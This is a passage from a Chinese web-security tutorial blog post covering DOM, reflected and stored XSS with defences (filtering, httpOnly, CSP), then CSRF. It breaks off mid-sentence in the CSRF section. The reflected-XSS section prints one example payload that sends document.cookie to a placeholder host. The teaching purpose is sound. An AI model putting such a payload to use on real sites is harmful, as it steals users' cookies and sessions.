前端进阶（五）web安全

一、XSS

xss: 跨站脚本攻击（Cross Site Scripting，本来缩写是CSS，为了和层叠样式的CSS有所区别，所以在安全领域叫“XSS”。）是最常见和基本的攻击 WEB 网站方法。

XSS 的原理是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码，当用户浏览该页之时，嵌入其中 Web 里面的脚本代码会被执行，从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。

XSS主要分为三类：

1、DOM XSS :

DOM即文本对象模型，DOM通常代表在html、xhtml和xml中的对象，使用DOM可以允许程序和脚本动态的访问和更新文档的内容、结构和样式。它不需要服务器解析响应的直接参与，触发XSS靠的是浏览器端的DOM解析，可以认为完全是客户端的事情。

实际上就是前端 js 代码把不可信的内容插入到了页面。在使用 .innerHTML、.outerHTML、.appendChild、document.write()等API时要特别小心，不要把不可信的数据作为 HTML 插到页面上，尽量使用 .innerText、.textContent、.setAttribute() 等。

2、反射型 XSS :

反射型XSS也被称为非持久性XSS，是现在最容易出现的一种XSS漏洞。发出请求时，XSS代码出现在URL中，最后输入提交到服务器，服务器解析后在响应内容中出现这段XSS代码，最后浏览器解析执行。也就是说，黑客往往需要引诱用户点击一个非法链接，才能攻击成功。

例如一个非法连接中可能存在这样一个script：

<script>window.open('http://xx.xx.xx.xx:8080/ck.php?c='+document.cookie)</script>

当执行这个非法链接后，即可将用户的cookie写入到xx.xx.xx.xx的服务器下的cookie.txt文件中。

3、存储型 XSS :

存储型XSS又被称为持久性XSS，它是最危险的一种跨站脚本，相比反射型XSS和DOM型XSS具有更高的隐蔽性，所以危害更大，因为它不需要用户手动触发。 允许用户存储数据的web程序都可能存在存储型XSS漏洞，当攻击者提交一段XSS代码后，被服务器端接收并存储，当所有浏览者访问某个页面时都会被XSS，其中最典型的例子就是留言板。

XSS预防：

1、过滤特殊字符

2、设置httpOnly，浏览器将禁止页面的JS访问带有HttpOnly属性的Cookie。HttpOnly解决的是XSS后的Cookie劫持攻击。

3、在服务端使用 HTTP的 Content-Security-Policy 头部来指定策略，或者在前端设置 meta 标签。

二、CSRF

跨站请求伪造 (Cross-Site Request Forgery) 是一种伪造跨站请求的攻击方式. 例如利用你在 A 站 (攻击目标) 的 cookie / 权限等, 在 B 站 (恶意/钓鱼网站) 拼装 A 站的请求.

已知某站点 A 删除的接口是 get 到某个地址, 并指定一个帖子的 id. 在网站 B 上组织一个删除A站某文章的get请求. 然后A站用户访问B站,触发该请求. 就可以不知情的情况下删除某个帖子.

同源策略是最早用于防止 CSRF 的一种方式, 即关于跨站请求 (Cross-Site Request) 只有在同源/信任的情况下才可以请求. 但是如果一个网站群, 在互相信任的情况下, 某个网站出现了问题:

a.public.com
b.public.com
c.public.com
...

以上情况下, 如果 c